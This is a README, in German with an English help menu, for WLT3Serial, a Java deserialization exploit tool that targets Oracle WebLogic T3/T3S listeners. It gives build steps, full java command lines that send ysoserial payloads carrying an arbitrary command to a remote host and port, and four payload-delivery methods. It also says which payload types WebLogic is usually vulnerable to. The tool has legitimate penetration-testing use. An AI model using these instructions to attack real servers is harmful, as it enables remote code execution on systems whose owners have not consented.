
Nativer, Java-basierter Deserialisierungs-Exploit für WebLogic T3 (und T3S) Listener.
Nativer Java-basierter Deserialisierungs-Exploit für WebLogic T3- (und T3S-) Listener (wie HIER beschrieben). Erfordert die Drittanbieter-Abhängigkeiten ysoserial und wlthint3client.
Erfordert Oracle Java 7 oder 8. Wurde mit keinem anderen Java-Anbieter (wie OpenJDK oder IBM JRE) getestet, daher kann ich keine Unterstützung für diese garantieren. Kann wahrscheinlich mit Java 9 oder 10 erstellt werden, aber ich gebe keine Garantie für die Unterstützung.
WLT3Serial wird mit dem Build-Automatisierungssystem Gradle erstellt. Gradle 4 sollte zum Bauen verwendet werden, obwohl andere Versionen teilweise getestet wurden (siehe Abschnitt Entwicklung).
Abhängigkeiten von Drittanbietern:
Vorgehensweise:
git clone https://github.com/Bort-Millipede/WLT3Serial.gitgradle clean preparegradle build -x testErfordert Oracle Java 7 oder 8. Wurde mit keinem anderen Java-Anbieter (wie OpenJDK oder IBM JRE) getestet, daher kann ich keine Unterstützung für diese garantieren. Kann wahrscheinlich mit Java 9 oder 10 verwendet werden, aber ich gebe keine Garantie für die Unterstützung.
Bei Verwendung der Property- (Standard), Bind- oder WLBind-Exploit-Methoden sollte WLT3Serial wie folgt ausgeführt werden (beachten Sie den Wert des java '-cp' Parameters):
java -cp /path/to/ysoserial.jar:/path/to/wlthint3client.jar:/path/to/WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\wlthint3client.jar;\path\to\WLT3Serial-[VERSION].jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDBei Verwendung der CustomClass-Exploit-Methode sollte WLT3Serial wie folgt ausgeführt werden (beachten Sie den Wert des java '-cp' Parameters):
java -cp /path/to/ysoserial.jar:/path/to/WLT3Serial-[VERSION].jar:/path/to/wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDjava -cp \path\to\ysoserial.jar;\path\to\WLT3Serial-[VERSION].jar;\path\to\wlthint3client.jar bort.millipede.wlt3.WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMDNachfolgend die Ausgabe des integrierten Hilfemenüs:
Usage: WLT3Serial [OPTIONS] REMOTE_HOST REMOTE_PORT PAYLOAD_TYPE PAYLOAD_CMD
Options:
--help print usage (you're lookin at it)
--verbose Verbose output (full thrown exception output; Disabled by default)
--method=EXPLOIT_METHOD Exploit Method for delivering generated ysoserial payload
Exploit Methods:
Property Send ysoserial payload as connection environment property value (Default; via javax.naming.Context.lookup(), variation of ysoserial.exploit.RMIRegistryExploit)
Bind Send ysoserial payload as object to bind to name (via javax.naming.Context.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
WLBind Send ysoserial payload as WebLogic RMI object to bind to name (via weblogic.rmi.Naming.bind(), similar to ysoserial.exploit.RMIRegistryExploit)
CustomClass Send ysoserial payload during T3/T3S connection initialization (via custom weblogic.rjvm.ClassTableEntry class, similar to JavaUnserializeExploits weblogic.py)
--t3s[=PROTOCOL] Use T3S (transport-encrypted) connection (Disabled by default)
Protocols:
TLSv1.2
TLSv1.1
TLSv1 (Default)
SSLv3
SSLv2 (SSLv2Hello handshake only, then fallback to SSLv3 for communication: this is an Oracle Java limitation, not a WLT3Serial limitation)
Available Payload Types (WebLogic is usually vulnerable to "CommonsCollectionsX" and "JRMPClientX" types):
(available payloads listed here)